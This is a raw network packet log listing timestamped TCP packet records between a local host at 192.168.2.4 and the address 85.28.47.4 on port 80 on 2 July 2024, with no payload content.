Jul 2, 2024 15:26:01.673444033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673464060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673474073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673489094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673495054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673501015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673518896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673528910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673531055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673547983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673563957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673619032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673629999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673646927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673656940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673666954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673676014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673686028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673691988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673710108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673721075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673722029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673738956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673742056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673773050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673777103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673789024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673798084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673808098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673820972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673830986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673835993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673854113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673860073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673875093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673882961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673890114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673906088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673909903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673937082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673952103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674107075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674118042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674134970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674146891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674156904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674163103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674177885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674184084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674192905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674197912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674207926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674218893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674226046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.674237967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674254894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.674274921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686536074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686554909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686567068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686604977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686619043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686634064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686649084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686719894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686753035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686764956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686789036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686803102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686882973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686882973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686882973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686882973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686897993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686909914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686928034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686938047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686945915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686966896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.686970949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.686983109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687000036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687006950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687014103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687030077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687033892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687046051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687072992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687087059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687093019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687127113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687262058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687305927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687419891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687432051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687448025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687468052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687495947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687650919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687704086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687750101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687761068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687807083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687815905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687833071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687845945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687865019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687915087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687938929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687951088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687967062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687977076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.687985897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.687990904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688005924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688008070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.688024044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688034058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688038111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.688054085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688066006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.688074112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.688097954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.688127041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758506060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758603096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758631945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758646011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758677006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758696079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758701086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758712053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758729935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758738995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758742094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758759022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758778095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758862972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758873940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758896112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758905888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758912086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758925915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758935928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758936882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758954048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758963108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758965015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.758984089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.758985043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759007931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759028912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759031057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759049892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759063005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759072065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759078979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759084940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759097099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759108067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759113073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759125948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759128094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759134054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759143114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.759150982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759171009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.759188890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760267019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760318995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760324955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760330915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760355949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760370970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760400057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760411024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760426998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760437012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760443926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760462046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760493040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760497093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760508060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760521889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.760559082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.760576010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762391090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762427092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762437105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762439013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762465954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762478113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762496948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762507915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762523890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762532949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762538910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762562037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762583017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762648106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762659073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762675047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762685061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762691021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762705088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762715101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762717962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762732983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.762747049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.762768030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763300896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763324976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763335943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763345957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763372898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763406038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763417006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763437986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763448000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763453007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763477087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763503075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763612032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763622999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763641119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763650894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763658047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763674974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763676882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763686895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763706923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763715029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763722897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763731003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763748884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763755083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763762951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763780117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763781071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763793945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763796091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763816118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.763820887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763840914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.763858080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.775926113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.775937080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.775954962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.775986910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776020050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776031017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776034117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776048899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776062012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776066065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776088953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776103973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776110888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776115894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776133060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776145935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776154041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776177883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776191950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776226044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776237011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776252031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776261091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776262045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776279926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776289940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776290894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776313066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776313066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776340961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776364088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776536942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776549101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776566982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776575089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776581049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776601076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776608944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776612997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776632071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776638031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776645899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776659012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776671886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776684046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776710033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776727915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776731968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776772976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776809931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776835918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776853085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776858091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776869059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776870012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776890039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776899099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776901007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.776916027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.776942015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777124882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777139902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777156115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777168989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777172089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777194023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777195930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777208090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777218103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777226925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777236938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777254105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777261019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.777267933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.777297020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847217083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847229004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847239971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847286940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847300053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847316027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847328901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847379923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847579956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847624063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847624063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847640991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847645998 CEST	80	49730	85.28.47.4	192.168.2.4
